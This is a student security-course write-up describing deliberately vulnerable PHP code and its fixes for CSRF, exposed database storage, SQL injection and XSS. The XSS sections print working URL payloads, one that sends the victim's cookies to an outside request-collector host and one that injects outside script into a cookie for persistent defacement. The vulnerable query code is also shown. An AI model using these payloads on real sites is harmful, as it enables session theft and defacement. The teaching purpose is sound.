Software Security – Team 11 (Sander Brattinga, Nico Glas & Gerjo Meier)

Accompanied by this document are 3 files.

broken.php

Contains the broken code. Admittedly, some examples may be a bit contrived.

fixed.php

Apart from password hashing, at least all web related sins should be fixed.

inject.php

A helper file that contains clickable links to test out each injection, and their fixed counterpart.

On github:

The code can also be found on github at:

https://github.com/Gerjo/Software-security/tree/master/assignment2

CSRF – Insecure logout link.

The logout feature can be used to inadvertently logout a user. To counter this, a CSRF token has been added to the URL.

Below the updated code which checks for the token:

```
if(isset($_GET['logout'])) {
    if($_SESSION["auth"] === true) {
        if(isset($_GET['token'], $_SESSION['csrf-token'])
                && $_GET['token'] == $_SESSION['csrf-token']) {
            session_destroy();
            session_start();
            session_regenerate_id();
            print "Thou hast logged out.<br>";
        } else {
            print "One does not simply use CSRF to force a logout. <br>";
            exit;
        }
    } else {
        print "You're not even logged in. <br>";
    }
}
```

Failure to Protect Stored Data.

The SQLite database is stored relative to the document, which is located in the public HTML folder. As a fix the database has been moved outside of the public HTML folder.

Below the broken code:

```
$pdo = new PDO('sqlite:database.db');
```

SQL injections / Failure to handle errors

No escaping or validation is performed. The variables are directly concatenated into the query. In addition to that, no errors are caught in case the query fails, this will probably lead to information leakage, too.

```
$sth = $pdo->prepare("SELECT * FROM users WHERE
     username = '{$_POST['username']}' AND
     password = '{$_POST['password']}'");

$sth->execute();

$row = $sth->fetch(PDO::FETCH_ASSOC);
```

NB: passwords aren't stored encrypted here either, which is something we haven't fixed in the fixed-version either. *We're lazy students, sometimes.*

Reflective XSS

The wrong variable is used to refer to the file name of the requested document. Instead of PHP_SELF, the SCRIPT_NAME superglobal should be used. Many tutorials seem to advertise the usage of PHP_SELF.

Broken code:

```
<form action="<?=$_SERVER['PHP_SELF']?>" method="post">
```

Example malicious URL that steals all cookies:

/broken.php/%22%3E%3C/form%3E%3Cscript%3E%20var%20image%20%3D%20new%20Image%28%29%3Bimage%5B%27src%27%5D%3Dunescape%28%27http%253A%252F%252Frequestb%252Ein/1jjb0wx1%3F%3Dbar%27%29%20%2B%20document%5B%27cookie%27%5D%3B%20%3C/script%3E%3Cform%20action%3D%22

Human readable without several layers of URL encoding:

"></form><script>

var image=new Image;

image.src = "http://requestb.in/11yz0mc1" + document.cookie;

</script><form action="

Below the request that request-bin receives: (Note the session cookie)

Persistent XSS

As part of the login process, the username is taken from the database, and stored in a cookie. This cookie is used to show the username without involving any further database queries after the authentication process has completed.

Broken cookie output code:

```
<?php } else { ?>
    <?=$_COOKIE["username"]?>, thou art logged in.
    <a href="?logout=true"> Logout</a>.
<?php } ?>
```

Using the already existing XSS injection via PHP_SELF, we can write malicious code into the cookie, thus rendering the attack persistent.

Example malicious URL that defaces a website, and remains persistent:

broken.php/%22%3E%3C/form%3E%3Cscript%3EsetCookie%28%27username%27%2C%20unescape%28%27gerjo%253Cscript%2520src%253D%2522http%253A/%252Fwww%252Ecornify%252Ecom/js/cornify%252Ejs%2522%253E%253C/script%253E%253Cscript%253Ecornify_add%2528%2529%253B%2520cornify_add%2528%2529%253B%2520cornify_add%2528%2529%253B%2520cornify_add%2528%2529%253B%2520cornify_add%2528%2529%253B%2520cornify_add%2528%2529%253B%253C/script%253E%27%29%29%3C/script%3E%3Cform%20action%3D%22

This injection does not work in chrome due to its XSS protection. Note that the URL bar does not contain any malicious payload.